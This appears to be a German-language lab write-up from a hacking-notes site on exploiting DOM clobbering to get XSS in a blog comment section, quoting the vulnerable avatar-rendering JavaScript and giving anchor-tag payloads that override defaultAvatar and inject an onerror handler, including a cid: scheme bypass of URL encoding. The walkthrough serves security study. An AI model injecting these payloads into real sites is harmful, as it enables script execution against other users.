> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/dom/dom-clobbering-xss.md).

# DOM-Clobbering-XSS

### DOM-Clobbering ausnutzen, um XSS zu ermöglichen

Nutze eine DOM-Clobbering-Schwachstelle aus. Die Kommentarfunktion erlaubt „sicheres“ HTML. Ziel ist es, ein HTML-Fragment einzuschleusen, das eine DOM-Variable überschreibt (Clobbering), und eine XSS-Ausführung zu veranlassen (`alert()`).

<figure><img src="/files/717fb351707b9ce6de079e31f153a1e4fa4d6484" alt=""><figcaption></figcaption></figure>

Der Kommentarbereich akzeptiert HTML und einige Elemente werden zurückgegeben (z. B. ein `<h1>` Interpreter).

<figure><img src="/files/7ee06f01729645588d610af8bb8e301edfa74696" alt="" width="539"><figcaption></figcaption></figure>

* Das clientseitige Skript lädt und zeigt die wiederhergestellten Kommentare in JSON an. Es verwendet `DOMPurify.sanitize()` zum Bereinigen `author` und `Body` der Felder, aber andere DOM-Manipulationen bleiben anfällig für Clobbering.

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* Der Code erstellt ein `defaultAvatar` Objekt, indem es `window.defaultAvatar` falls vorhanden; `defaultAvatar` kann daher über ein DOM-Element mit einem `defaultAvatar` (Clobbering-)Bezeichner überschrieben werden.
* Da das `src` Attribut des `<img>` aus `defaultAvatar.avatar` wenn `comment.avatar` nicht vorhanden ist, kann man eine `defaultAvatar` vom Angreifer kontrollierte Variable dazu bringen, den eingefügten Wert zu beeinflussen.
* Das Einfügen erfolgt durch `divImgContainer.innerHTML = avatarImgHTML`, wodurch die Interpretation der erzeugten HTML-Zeichenfolge ausgelöst wird.

{% code overflow="wrap" %}

```javascript
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```

{% endcode %}

Versuche zu erzwingen `defaultAvatar` über eine `<a id=defaultAvatar>` Element, das ein Attribut enthält, das wahrscheinlich einen clientseitigen Fehler verursacht (z. B. `onerror=alert(0)`).

```html
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="0&quot;onerror=alert(0)>//">
```

Dies wird vom System URL-kodiert

<figure><img src="/files/8bd2ce0d21dc29c85c480d73f61034ad46308d0d" alt="" width="480"><figcaption></figcaption></figure>

<figure><img src="/files/3aa1d069fe0bdf5320cc2aa63ac794bc3d067972" alt=""><figcaption></figcaption></figure>

Contouring getestet mit einem `cid:` Schema, sodass der Wert nicht kodiert wird:

```javascript
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(0)>//">
```

letzteres interpretiert wird

<figure><img src="/files/20c198ba764af8adf7e807d29e167f2211a43264" alt="" width="443"><figcaption></figcaption></figure>

<figure><img src="/files/f0d7c68e75e610fd78a95739b9c96df60db59aff" alt=""><figcaption></figcaption></figure>


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